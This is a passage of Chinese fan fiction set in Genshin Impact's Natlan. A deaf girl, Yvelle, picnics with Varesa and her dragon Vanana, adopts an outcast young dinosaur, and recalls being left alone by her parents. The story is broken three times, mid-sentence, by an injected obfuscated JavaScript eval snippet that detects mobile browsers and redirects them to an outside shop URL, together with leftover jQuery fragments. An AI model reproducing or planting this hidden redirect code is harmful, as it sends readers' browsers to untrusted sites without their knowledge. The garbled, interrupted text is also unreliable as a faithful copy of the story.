“不够,还有。”说着,你朝着瓦雷莎拍了拍自己的小背包。与此同时,你从背包里拿出巧克力盒,随便从里面摸了颗巧克力放进嘴里,巧克力浓郁的香气在嘴里蔓延开来。 对了,还有‘呐呐’。吃了两颗巧克力感觉自己没那么饿了,你想起来旁边还有一只突角龙没得到投喂。 - 抱着巧克力盒吃得开心的小女孩不知想到了什么,吭哧吭哧地把盖好盖子的巧克力盒放回背包里,转而捧着一把糖果跑到瓦娜娜身边叽叽咕咕的。 瓦雷莎注视着不知道什么时候又凑到一起的两个家伙,无奈地摇了摇头,扎起的马尾随着动作在脑后一甩一甩。这时的瓦雷莎才慢条斯理地拆开糖果的包装,把那颗紫色的糖果放进嘴里。 似乎每次哭过之后,伊薇尔都会变得活泼一点呢。仿佛一个在煤炭堆里蹭得黑漆漆的灵魂,当眼泪流下,便冲刷出灵魂原本的模样。 86.纳塔篇-24 无云亦无日的天空格外澄澈。 而天空下,尽管途中出了一点小小的意外,你们还是抵达了你们的目的地,一片辽阔的原野。 和你日渐熟悉的果园相比,这里没有很多的树,橙黄色的泥土更为坚硬,或许有人从这里走过,或许火山上的滚石也曾途径这里,经由岁月把它塑造成你眼前的模样。 在你用眼睛细细描绘这陌生又新奇的景象时,另一边的瓦雷莎在瓦娜娜的帮助下已经铺好了野餐垫,正坐在上面悠然地边喝着果汁边看着自己从家里带出来的漫画。 你回过头,看到野餐垫上的人与龙,还有摆出来等待人来拆开包装的食物。 要过去吗?可你还不是很饿。你才在路上吃了巧克力,又基本全程都被瓦雷莎带着,体力根本没因为赶路而消耗多少。 你更想在周围转转。你刚刚看到了一条长尾巴的蜥蜴飞快地在石头边爬过,其实你在果园里也见过蜥蜴,只是不知道是不是你的错觉,这里的蜥蜴尾巴会更细长一些,身上的花纹似乎也有些不同。 还是过去一趟吧,就算现在不吃东西更想去玩,还是要告诉‘沙沙’一声的。 自顾自纠结、最终成功自己给出答案的你来到瓦雷莎的身边,先是轻轻地扯了扯瓦雷莎的衣摆,好让对方意识到你的靠近;再向旁边指了指,表明你就在这周围溜达,不会跑远。 你知道的,在野外是很容易迷路的。假如你自己一个人走啊走,走到自己都不知道是哪里的地方,向后看怎么也看不到熟悉的身影,那就会很糟糕。你会害怕的。 而且,你这么说可能有一点过于自信,但是,如果你不见了,‘沙沙’和‘呐呐’或多或少还是会担心的吧? - 小孩子很容易饿又很容易饱,人小小的,胃也小小的。 她也曾有过孩童时期,虽然孩童时期的瓦雷莎就已经展示出了惊人的食量,但瓦雷莎的温和性格与大部分时候都很好说话的脾性让她拥有很多小伙伴,因此瓦雷莎还是对伊薇尔现在不过来吃东西的行为有所预料的。 暂时不想吃那就不吃,等到伊薇尔饿了,这里的食物依然有她的一份。瓦雷莎看得很开。 唔,伊薇尔好像要过来了。刚咬了一口面饼的瓦雷莎将嘴里的食物咽下,坐直了身体,摆出一副沉稳而可靠的姿态。 是有什么事情吗,如果想吃烤肉的话瓦雷莎记得自己带了几块火石和木柴,原本是打算下午或是晚上围在篝火旁边吃烤肉的,在气温下降又天色昏暗的时候篝火那跃动的火焰和热腾腾的烤肉总是格外有魅力。 瓦雷莎喜欢那样的夜晚,喜欢那种宁静祥和的氛围。她想让伊薇尔也能体会到这种感觉,最起码,体验过才能说自己究竟喜不喜欢。 假如人生是一本书,那么能在这本书上写下字句的只有自己。瓦雷莎希望伊薇尔的那本书上会有更多的内容,会有更多不止绘本与漫画的体验,还要有亲身的实践。 或许世界没有那么好,能够给伊薇尔一双听到声音的耳朵,她也做不到回到过去,给那个被爸爸妈妈留在房屋里的小女孩一个拥抱;只是,或许世界又没有想象中的那么坏,伊薇尔所走过的地方,纵使满是泥泞,终有一天也会开出花。 伊薇尔还是个孩子,她的人生会有无限可能。 瓦雷莎觉得自己就像一个辛劳的园丁,在给伊薇尔这棵小苗施肥和松土,看着这棵小苗抽枝发芽,为这棵小苗的每一点变化所津津乐道。 …… 啊,不是想吃烤肉啊。 从伊薇尔的动作中读出她想在附近玩的瓦雷莎回过神,“可以哦。”说着瓦雷莎摸了摸伊薇尔的脑袋,发心软软的,很好摸。“不过,遇到了什么事情可以喊出来,我会听到的。”瓦雷莎对伊薇尔说。 原野很容易给人一目了然的感觉,只是草地里可能会有毒蛇爬过,下脚的泥土可能刚好松散,瓦雷莎当然不至于就这样把伊薇尔一个人放出去——唔,或许等伊薇尔再大一点的时候?那时候说不定就可以了。 瓦雷莎低下头在周围环视一圈,从地上捡起了一个结实的土块,修长的手指捏着土块,把土块边缘的棱角当作笔尖在地上勾画出图案:一个显示着“!”的气泡,然后箭头指向一个喇叭,喇叭口那里还形象地画了几道象征声音的波纹。 * 你不讨厌瓦雷莎的关心。 不会有人不喜欢别人对自己的关心的吧,更何况你知道瓦雷莎是一番好意,即便意见可能不同,你知道她会试着和你探讨、一起在两个选择之间寻找平衡而不是直接让你按照她的想法来。 于是,你点了点头,还示范般地扬起脑袋“哇哇”叫了两声,郑重地表示要是真的有什么事情,自己一定会变成瓦雷莎画在地上的那个喇叭那样大叫的。 你转过身走向旁边的区域,发现瓦娜娜不知道什么时候悄悄跟了上来,见你看向她还亲昵地用自己头上那对大角蹭了蹭你,当然,瓦娜娜很小心地避开了尖锐的地方,轻轻蹭了两下就收回了脑袋。 也对,你和‘呐呐’都是一起吃了巧克力和糖果的,你现在没有饿,‘呐呐’或许也还没有饿,所以想要和你一起在周围转转。 你对瓦娜娜跟上来的行为接受良好,还有一点小小的兴奋:看,这样子就变成了你和‘呐呐’平时巡视果园的模样了。忽视了二者的相同点估计只有参与人员都是你和瓦娜娜的你感受到了莫名的安心。 你自信地随便选了一个方向就迈开步伐。说是辽阔的原野,看着没什么起伏十分平坦的样子,实际上真的走起来就会意识到土块似乎有着自己的想法,有的地方坍塌出一道长痕,有的地方又会比周围都高一些。 走了不知道多久,可能只有一小会儿,周围的土逐渐从岩黄过渡到浅浅的朱红。而你原本想观察的蜥蜴这回倒是没怎么见到,大概是换了个地方,这里的瘦瘦的蜥蜴会更聪明一点,知道有人来了就会把自己藏起来。 好在你本来也只是随便走走,没有抱着一定要找到什么的念头。对你而言,这不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051128|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一次外出,你对它的期待就是它能满足你的幻想,或者发现什么新奇的东西也可以。 在瓦雷莎和瓦娜娜的照料下,没有生存压力的你逐渐生出了自己的精神需求。物质和精神的区别在哪?人们可以在商店里买来盐、买来土豆之类的,却买不来名为“快乐”的、拥有了就真的会快乐的东西。 也许在某个世界里,人类的喜怒哀惧各种情绪真的可以被当做商品售卖吧,只是很明显,现在的提瓦特是不会这么做的。 你的精神需求并非现在才滋生,它其实一直潜藏在你的脑海里,存在于你的不同想法中。你想要真正地触摸这个世界,而不是隔着什么看不见的隔阂;你想要切实地感受到自己的存在,而不是飘飘忽忽的仿佛一阵随时散去的烟。 有谁能帮你呢?有谁会帮你呢?连你的爸爸妈妈都不会在意这些丛生的杂草般的思绪。连你自己都不知道要怎么做,你甚至都没看清自己的心,只是觉得,应该是那样的,于是描摹出一个模糊的轮廓,怎么也看不清晰。 如同受了精的鸡蛋会不会孵出小鸡的这个问题,直到小鸡从蛋壳里出来或鸡蛋彻底失去生物活性的那一刻人们才可以肯定地说:哦,这确实是个孵出了小鸡的鸡蛋/孵不出小鸡的鸡蛋。 在这之前,人们可以提供适宜的温度和光照,但破壳这件事,还是得由小鸡来做。就像一句流传很广的话:鸡蛋从外面打破是毁灭,从里面打破是新生。 因为失去了听觉,没有融入纳塔的你,说不定也是一枚等着孵出小鸡的鸡蛋呢。 …… 好像走了很久了。没有明确的时间观念的你抿唇,摸着自己的肚子试着感受了一下,嗯,现在可以继续吃东西了,你感觉自己可以吃下很多很多东西。 “呐呐,我们,回去?”你的目光望向瓦娜娜,跟这只大大的突角龙打商量。 就算什么都听不到,可能是被总是对着你嘀嘀咕咕不知道说些什么的瓦雷莎感染了,你变得会对着瓦娜娜偶尔分享你的想法,接着从对方那张什么表情都读不出来的龙脸上任性地得出自己想要的答案。 除非瓦娜娜十分明显地用肢体语言阻止你,你才有可能意识到瓦娜娜对你想法的不赞同。不过,你的想法有什么不好的呢?有的孩子晚饭后多吃一颗糖果都会觉得自己贪心。瓦娜娜无声地纵容着你。 这一次,和以往没有不同,瓦娜娜依然没有反对。 你转过身,打算顺着自己来时的方向往回走,你大概真的走了很远的一段路,只能在遥远的边际依稀看到瓦雷莎的身影。 那就回去吧,你会和瓦娜娜在野餐垫上一起吃东西。没有对自己这一路所见到的东西有什么不舍,你眨了眨自己那双橙色的眼睛。 就在要抬起脚的时候,你感觉一个奇异的东西扒到了自己的脚踝上,像是什么小动物。 你:? 疑惑的你低下头,映入眼帘的是一对青色的、边缘泛着点黑的角,还有一个米白色的,冒出两个小白点的脑壳。 87.纳塔篇-25 什么东西。 有一个会喘气的生物在你不知不觉的时候扒到你的脚上听起来有点诡异。如果你提前知道会有这种事情发生也许会被吓一跳?但你在这之前并不知情,所以它没能吓到你。 恐惧是需要时间生效的,至少你这样认为。脑袋同一时间只能处理一件事,因此当你把目光投向狡辩的生物时,疑惑和好奇把本应有的自我想象和害怕挤占了出去。 会不会你往旁边走一走,它就自己滚下来了。这样想着,你试着走了两步,而那一小团东西紧紧地扒着你的裤腿,始终随着你的脚移动。 看来没能摆脱这个小东西。你的经历与性格让你对未发生的事情过度想象以至于自己吓自己,让你放大了那件事的某一个点而自顾自地引颈受戮;同时又把迅速接受事情已经发生的果决赐予了你。 画地为牢与随波逐流这两种特质如同一个硬币的两面在你的身上显现。 你蹲下身来,一只手摸上那个脑壳,另一只手向它的身体探去,近乎撕扯却又注意着没有弄伤对方地把它从自己的身上拉开。 这个小生物似乎在你动作的过程中有过挣扎,不过被你镇压了。 被你抓到手上,那个顶着小角的脑袋似乎想要表达什么,朝着你的方向伸了伸,而后像是认命了似的垂下自己的四肢。 这时,你才真正看清了它的模样。你看到了它紫色的眼睛,短短的尾巴,还有从脸到头上的角都有的、像是谁用洗不掉的颜料泼上去的大片红色印记。 是个丑丑的小突角龙。 你把它放回地上,看到它的四条短短的腿还蹬了蹬,那双和瓦娜娜相似又有不同的紫色眼睛看了看你,仿佛在怀疑你是不是真的要把它放掉。 饶是这样,这只小突角龙也没有离开,依然在你的腿边打转,似乎是通过你把它拉开的动作意识到你不太喜欢它扒在你的脚边?小突角龙和你保持了一定的距离,仍不离去地围着你转圈圈。 好一个丑东西。你看着小突角龙脸上不规则的红色印记暗暗想,橙色的眼睛里却没有丝毫厌恶。其实,看久了也没那么丑。过了一会儿,你在心里修改了自己对小突角龙的评价。 硬要说的话,那样不规则的红色印记,从某个特定的角度、以某种特定的观察方式,也不是不能被当做是一朵盛开的红色的花。 花,是漂亮的。所以,头上的印记看起来像一朵花的小突角龙,同样可以是漂亮的。 “‘呐呐’?”定定地观察了身旁的小突角龙一会儿,你侧眸看向瓦娜娜,有些疑惑意味地呼唤着对方。 通过增加的漫画和绘本,你的识字量增加了;会说的话倒是没有增加多少,以至于要说的内容比较多、或者有你不确定怎么念的字时,你就会很讨巧地呼唤对方的名字,仿佛是在通过这种方式以意念把自己的想法传达给对方。 你在问着瓦娜娜自己可不可以把这只小突角龙带回果园?不行的话,你可以请它吃一点东西吗?不需要额外准备,从你的份额里分一点出来给它就好。 和瓦娜娜待在一起久了,连你都染上了喜欢给别人分东西吃的习惯。 瓦娜娜没有反对,至少,在你眼中的瓦娜娜没有反对。“好耶。”你小小地欢呼一声,这样子,你出来一趟还是带了点什么回去的嘛,虽然说这只小突角龙可能之后还要放走。 要把小突角龙真正带回去,问了瓦娜娜的意见之后,还得问过‘沙沙’的意见;然后还要考虑这只小突角龙有没有爸爸妈妈、它的爸爸妈妈又要怎么处理……想想就好麻烦。 判断出这可能会是件麻烦事的你迅速放弃了思考——总之就是,先回去再说啦。不管怎么样,请小突角龙吃点东西还是可以的。 - 瓦娜娜早早发现了那只小突角龙狗狗祟祟跟在她们身边,准确来说是跟在伊薇尔身边的这件事情。 小突角龙大概没怎么做过跟踪别人的这种事情,完全没有隐藏自己的脚爪踩在地上的声音,身影也没有藏得很好,以至于在她们刚踏上颜色渐变地段时瓦娜娜就把这位小朋友的踪迹默默收在眼底。 看在小突角龙没有恶意的份上,瓦娜娜这才睁一只眼闭一只眼,默许了它的跟随,没有直接把它赶走。 再怎么说,瓦娜娜好歹也是陪着伊薇尔在果园里待了很久的龙,真要论起来可能瓦雷莎和伊薇尔相处的时间都没有她和伊薇尔相处的时间来得长。 因此,比起自己那个会想着“啊呀,伊薇尔今天过得怎么样,有没有开开心心的”的伙伴,瓦娜娜在某些方面会更了解伊薇尔,就像是现在这种情况,有亲近的人或龙跟在身边时,伊薇尔对周围的环境会显得,嗯,更加的迟钝。 这种迟钝不是指伊薇尔自身的反应速度很慢,而是她会无意识地把更多的注意力放在自己关注的东西或是身边的伙伴上,伙伴怎么做,她就想也不想地跟着做。人的注意力就总共这么多,这里用得多了,那里就少了。 在果园里也是这样。瓦娜娜带着伊薇尔跑步,结果有一次不小心冲得太快,瓦娜娜一连冲过终点线,差点撞到果园的栏杆上;原本以为跟着她跑了一段时间的伊薇尔应该知道什么时候停下的,结果往旁边一看,看到一个已经撞到栏杆上的伊薇尔。 瓦娜娜:…… 还好本来就是卸力阶段,撞到栏杆上的伊薇尔只是红了额头,没有破皮也没有流血。 其实这件事本身不是什么大事,只是从那之后,瓦娜娜和伊薇尔待在一起的时候会更在意周围的环境。瓦娜娜会想,啊,她肩负了伊薇尔的信任,伊薇尔是相信她,所以才会她做什么伊薇尔就跟着做的。 这样不问理由不计后果的信任,坦白来说会有一点压力。不过好在瓦娜娜很喜欢伊薇尔,瓦雷莎很喜欢伊薇尔,意识到了这一点,她们就不会愧对伊薇尔的信任。 ……完全不敢想,假如伊薇尔信错了人会怎样,某种程度上可以用“盲从”来形容的、如同那只跟着领头羊的步伐一起跃下山崖的小羊的伊薇尔啊。 从这一点上来讲,瓦娜娜和瓦雷莎一样,都希望伊薇尔能更有主体性,能有自己的想法并勇于表达它们,会有自己的喜怒哀惧和对未来的憧憬,会坚定自己的信念和找到自己想要守护的东西。 而承担了一人一龙期望的伊薇尔大部分时候都是:嗯,这个也行,那个也不是不可以。 “都行”、“都可以”什么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069455|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哈哈(突角龙疲惫) * 算是带了个(之后可能要放生的)伴手礼回来,你往回走的步伐都轻快了不少。 是,正确的。像瓦雷莎有时外出,回来的时候就会给你和瓦娜娜带点东西一样。有小小的贝壳串成的装饰品,有分给所有人吃的奶油蛋糕,还有好多好多。 你也想和瓦雷莎一样,能够从外面带回好多好多东西。就像是在外面捕猎,然后把抓到的猎物带回来,把居所塞得满满当当的,就连空气都要打上特别的记号。 如果不是因为把果园里的东西带进房间也没什么区别、充其量就是左手倒右手,你可能会把果园里的部分东西都搬回房间。或许是曾经的房子由于不知什么时候就会踏上旅程而显得空旷,你更喜欢被堆满东西而变小的房间。 这不意味着你一定会把外面的东西都带回房间,只能说明,倘若你看到一样东西,你很喜欢很喜欢的话,你会下意识地想要把它带回房间藏起来。 [把它变成你习惯的生活里的一部分,你就不用担心它会不会离开、会不会被别人拿走了。]可是,等它成为你生活的一部分,你或许就不会再喜欢它了。 矛盾的、奇怪的、难以理解的。 放到你身上,好像也没那么让人惊讶。 - 要相信瓦娜娜,假如伊薇尔遇到什么事又解决不了的话,瓦娜娜会带着伊薇尔来找自己的。要相信伊薇尔,她和伊薇尔做过约定的,伊薇尔是个信守承诺的小孩。 这是伊薇尔和瓦娜娜走后第不知道多少次自我宽慰的瓦雷莎。 感觉饮料都没那么好喝了,瓦雷莎幽幽叹气。一边宽慰自己这没什么,她们只是去溜达溜达;另一边在见不到她们的身影就开始忍不住焦虑,想着会不会伊薇尔不小心走到边缘,然后一个滑坡掉下去,瓦娜娜都来不及捞人。 理智在说,[瓦雷莎,你太担心了,这真的没什么,伊薇尔和瓦娜娜很快就回来,你不过是把小概率事件不断放大,自己恐吓自己。]情感却在叫嚣,[可万一呢?!] 对于在乎的东西,再怎么认真都不为过。这么想着,瓦雷莎强行让自己闭上双眼,试图通过深呼吸让自己平静下来。 如果她真的想让伊薇尔拥有想象中那样美好的未来,就不应该自己去给伊薇尔设限。伊薇尔应当是一个独立而自由的人,不是花盆里连阳光和雨水都被控制的花。 瓦雷莎想过的,关于伊薇尔的人生。由于自己这方面的实际经验不足,瓦雷莎给自己的几个朋友就自己养的孩子这个主题写了信,还向爸爸妈妈求助了一番。 瓦雷莎自己感受过爱,她希望伊薇尔也能获得幸福。 ——只是,她应该怎么做?现在这么做,是对的吗? 在战斗上富有经验、在伊薇尔相关的问题上变成新手的瓦雷莎有时会这么想。而后又自己给自己打气,不管怎么说,先做出改变,才能知道对错。退一步来讲,这又不是一锤子敲定的事情,而是一个过程,她可以在过程中一点一点修正。 不知过了多久,天边漫起大片橙红的色彩,瓦雷莎听到了伊薇尔她们回来的声音。 呀,好像还多了个朋友? 88.纳塔篇-26 这下子,你的生活里比原本多了一项任务,而这项任务还是你自己讨来的。 你趴在床上,面前是一本翻开的书,书页里描绘的小突角龙栩栩如生。你的指尖夹着一支笔,就在刚才,你用这支笔在书上圈起了有关小突角龙的叙述。 你这里放的书大部分都是故事书,夹杂着一点科普读物,再掺一些漫画。想要从中找到要怎么面面俱到地照顾一只小突角龙的信息好像有点难。 叹了口气,你反手用笔头敲了敲自己的脑袋,试图通过敲一敲的这种方式让自己变成一个有着丰富照顾小龙经验的育龙专家。 显而易见,你失败了。不仅没得到从天而降的知识,还被学着你的样子趴在床上的小突角龙贴过来蹭了蹭。 “黏黏糊糊的,好爱撒娇哦。”你这样说着,直起身子往后退了退避开小突角龙的动作,又在小突角龙似不知道你为什么要躲开而有点委屈地垂下的眼尾中默默把它抱进怀里,安抚地拍了拍。 轻柔的吻落在小突角龙额上浮现的那片斑驳的红色上。“好啦好啦,没说你这样不好。”你哄着小突角龙,顺手把为它准备的颗粒果塞进了它的嘴里。 嗨呀,真不容易。看着小突角龙嚼嚼嚼的你呼出口气,有模有样地抬起手抹了抹自己根本没有出汗的额头。 瓦雷莎照顾你的时候,心情和你照顾小突角龙时的心情是一样的吗?你难得这样想。 没有想太多,不会去思考小突角龙长大了会成为什么样的龙,不会去疑虑是否有一天它会离自己而去,只是希望它开心就好。啊,当然,在这之上帮你干点活又或者少蹭你几下那就更好了。 - 听到伊薇尔抬起脑袋问自己能不能养这只小突角龙,实在不行的话能不能请它吃一顿饭、可以从她那份食物里分点出来的请求,瓦雷莎目光扫过地上就差贴在伊薇尔脚边亦步亦趋的小突角龙,和瓦娜娜对视,而后回到伊薇尔的脸上。 浅黄的头发经由自己打理后扎成和自己相同的马尾辫,只是脸颊边飘着几缕不够长而没被扎起来的发丝。此时那几缕发丝被风吹动,连带着眼睫也像被风吹了似的不断扑扇着,嘴唇不自觉地抿起,橙色的眼睛里有亮晶晶的光芒。 声音也比平时来得要大。 ……在紧张呢,她的孩子。 瓦雷莎垂下眼睛,做出一副认真思考的模样,而后当伊薇尔在沉默中越来越紧张、眼睛都不自觉地瞪大了的时候,“扑哧”地笑了出来。一下子打破了原本塑造出来的肃穆。 “当然可以。伊薇尔也到了选择自己同伴的时候呢。”瓦雷莎一边摸着伊薇尔的脑袋,一边煞有介事地说道。 相比于在某种方面上还懵懵懂懂的伊薇尔,瓦雷莎的见闻、对某些东西的敏锐度要更加丰富与成熟。 纳塔是人与龙的国度。很多人会把这句话理解为纳塔的人都会有自己的龙伙伴,是与龙共同战斗的一个国家。不过,也可以从最基本的层面来理解:纳塔有人,有龙。不是只由人组成的国家,不是只由龙组成的国家。 很久很久以前,纳塔一度由龙族所统治,那时强大的龙族把人视作奴隶、视作薪柴,直到初代火神希巴拉克的出现,直到希巴拉克和他的伙伴带领着人们登上历史舞台,人们才有了喘息的空间。 被欺压过,于是想要欺压回去;‘如果说有的龙族什么都没做过甚至刚刚诞生没多久就很无辜,那他们的祖先、他们所死去的同胞难道就不无辜了吗?!’ ……彼时的纳塔度过了一个混乱的时期,之后便到了现在,人与龙共生的一个时代。 人有人的社会,龙有龙的家庭关系。交叉的,不需要完全重合的。人可以选择龙,龙同样可以选择人,“伙伴”,是要双向选择才能成立的。 至于伊薇尔所选择的这只小龙,瓦雷莎的目光掠过它头顶的那片红色,掠过它身体上的不明刮痕,又轻飘飘地移开目光。 如果这是伊薇尔的决定,那么瓦雷莎不会拒绝这个被族群所排斥的小家伙。 伊薇尔很喜欢这只小龙,这只小龙也很喜欢伊薇尔。这就足够了。至于其他的,那不重要。 * 瓦雷莎,有的时候会有一点坏心眼……!抱着小突角龙的你回想起自己把小龙领回来的那天瓦雷莎有意的沉默,不由鼓了鼓脸。 不过,想到瓦雷莎之后露出的笑容和传授给自己对待小龙的必要知识时的耐心细致,你又觉得瓦雷莎还是很好的。 就算是坏心眼的瓦雷莎也不讨厌。 “小龙要好好地和她们相处。”你这样想着,拍了拍小突角龙的脑袋,似乎这样就能把自己的想法通过肢体接触传递到小突角龙的脑袋里。 这时,瓦娜娜无声走到你的面前,顶着那对硕大的角冠朝你扬了扬脑袋,而后转向窗外。今天的天气很好,你能看到金黄的光线透过玻璃撒在房间里,而窗外分布在不同地块上的植物也在太阳的照耀下昂首挺胸。 嗯,是该去干活了。浇水的话日出前已经做了,接下来应该是……除草除虫之类的,还要预防有小动物来偷吃。你翻着自己脑海里的日程表,对自己点了点头。 不知道为什么,在果园里你没怎么见过传统意义上的“害虫”,会发光的蜜虫倒是见了不少。瓦雷莎告诉你,那些蜜虫主要是给花朵采蜜的,它们在花朵之间飞啊飞,回到巢穴里就会有甜甜的蜜。 小突角龙安静地待在一旁,你挽起袖子做出干活的模样对着瓦娜娜点点头就要往果园走,却见瓦娜娜对你摇了摇头。 欸?不是这个意思吗?你歪了歪头,再次把目光投向窗外。 这次,在瓦娜娜的提示下,你发现了一个在空中上下扑腾的小红点。小红点越来越近,它的身影在你的眼里逐渐放大,最后变成了一个两只小翅膀不断扑腾的、头上有一个羽毛挺立地翘着的红色生物。 啊,是有小鸟来偷吃果园里的作物了吗。那得用棍子来赶才行。你觉得你悟了,四处张望,想要知道之前被收起来的棍子藏到了哪里去。经过瓦雷莎的教导,你感觉自己驱赶鸟兽的本领得到了提升—— 没过多久,你想象中的自己披着红色披风、在万丈光芒中赶走所有偷吃的小鸟的样子在瓦娜娜无奈地摇头中消失了。 欸?!还不对吗!你一双橙色的眼睛睁得溜圆,看看窗外那个靠近的红色生物又看看瓦娜娜,搞不明白自己为什么还不对。 瓦娜娜好像叹了口气,抬起腿走到你房间里还没完全收起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088795|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的识字卡片边,小心地用爪子拨出了几张卡片。 凑到瓦娜娜身边的你探着脑袋去看那几张卡片,想要知道瓦娜娜想表达的究竟是什么意思。 [朋友]、[拜访]…… 所以,是瓦娜娜的朋友来找她玩了吗!你露出了惊讶的表情。 不是、就是,看过很多绘本和漫画的你当然知道人是会有朋友的、你也没有因为瓦娜娜是龙就觉得她和你有什么不同。 只是,原来朋友这种东西,是真实存在的啊。你大受震撼,就像看到书里的小人走到你的身边和你击了个掌一样。这居然不是停留在纸面的知识吗,你看看窗外的那只红色生物,又看了看瓦娜娜,脑子飞速转动。 让你想想,朋友这种生物要怎么招待……爸爸妈妈有带过朋友回来吗?可能有吧,但当时你没在意;瓦雷莎有带过朋友回来吗?好像没有;你、哦,你没有朋友。 好烦好烦好烦、呜、怎么就想不出来—— 你呜咽一声,抱住了自己的脑袋。 冷静下来,伊薇尔。不要着急,伊薇尔。会有办法的,伊薇尔。你闭上眼睛深吸一口气对自己说。 “伊薇尔”、“伊薇尔”、“伊薇尔”。这个你妈妈口中频频提起的名字,这个寄托了你妈妈无限期望的名字,这个寓意着“长明”的名字,偏偏是你的名字。 偏偏是你这样一个无法做到在人群中光彩夺目的、一度被认为出现在人前会让他们丢脸的家伙的名字。 长明,哈。怎样的人才能承托起这样沉重的期望?就算海枯石烂,就算天空破了个洞什么的,那些都无所谓,你的妈妈希望她的女儿能够成为永远的光,能让人信服的、能够永远正确的,活着引领他人,死了依然照耀他人的。 你本应成为一个正面的形象,而不是一个别人在说什么都不知道的笨蛋。你应该去帮助别人、接受别人感激的目光,而不是拖着这样一副身体出现在别人的面前,被别人怜悯又小心翼翼的目光扫射。 哈。 伊薇尔伊薇尔伊薇尔…… “要乖噢。要做个听话的好孩子。” - 好像想起了什么东西,不过那不重要,把它们忘掉吧。你默默地告诉自己。 至少现在,瓦雷莎没有要求你承担“长明”的责任。把你带回果园之后,她曾经带你去到你和爸爸妈妈的在沃陆之邦的那个小房子里,让你把重要的东西带走。之后,这里会被收拾,会住进新的面孔。 你在那里待了很久,什么也没有带走。需要带走什么呢?爸爸妈妈不常待在这间屋子里,没有留下多少属于他们的痕迹;真正属于你的东西又有什么呢?可能有吧,但你一时半会儿想不到。 绘本吗,你已经有新的了。瓦雷莎给的那份饼干已经坏掉了,不值得你带回去,而且留在果园的你有很多饼干和糖果。待在那里的大部分时间,你都抬着头,看着柜子上那个已经停止流动的沙漏。 很多个日夜里,小小的你看着这个沙漏,一点一点地数着时间等着你的爸爸妈妈回来。 孤独的、无措的、害怕的、强撑的、夹杂着妈妈对你笑的那一点甜意。现在的你看着那个沙漏,就像看着自己的那一段无声的灰白的过往。